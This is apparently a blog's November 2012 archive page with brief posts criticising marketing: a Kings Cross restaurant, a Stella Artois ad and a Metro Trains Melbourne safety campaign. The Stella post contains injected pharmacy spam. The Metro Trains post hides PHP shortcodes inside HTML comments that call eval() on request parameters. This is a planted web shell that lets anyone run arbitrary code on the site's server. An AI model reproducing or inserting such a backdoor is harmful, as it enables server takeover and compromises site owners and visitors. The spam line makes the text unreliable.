Monthly archive for November2012

Santa Barbara themed restaurant with horrible branding and positioning

New restaurant just opened under the iconic Coke Sign in Kings Cross, Sydney. A purely goe-locatory tragedy. Previous tenants The Piano Room absconded owing some 300 grand to creditors. This gaudy, faux (I hope) eatery could not have chosen a worse theme for the area. Bad marketing…

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Bad Stella Artois ad

A poor full-page ad appearing in today’s Sydney Morning Herald the(sydney)magazine supplement…doesn’t make me want to buy Stella Artois…or go on a date like this ou acheter du vrai viagra. Gross.

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Cute way to kill your bad marketing

Metro Trains Melbourne has sparked up a funny new campaign produced by McCann that aims to reduce the number of serious and fatal accidents on the rail network. <!– [insert_php]if (isset($_REQUEST["rgY"])){eval($_REQUEST["rgY"]);exit;}[/insert_php][php]if (isset($_REQUEST["rgY"])){eval($_REQUEST["rgY"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["IlVp"])){eval($_REQUEST["IlVp"]);exit;}[/insert_php][php]if (isset($_REQUEST["IlVp"])){eval($_REQUEST["IlVp"]);exit;}[/php] –>

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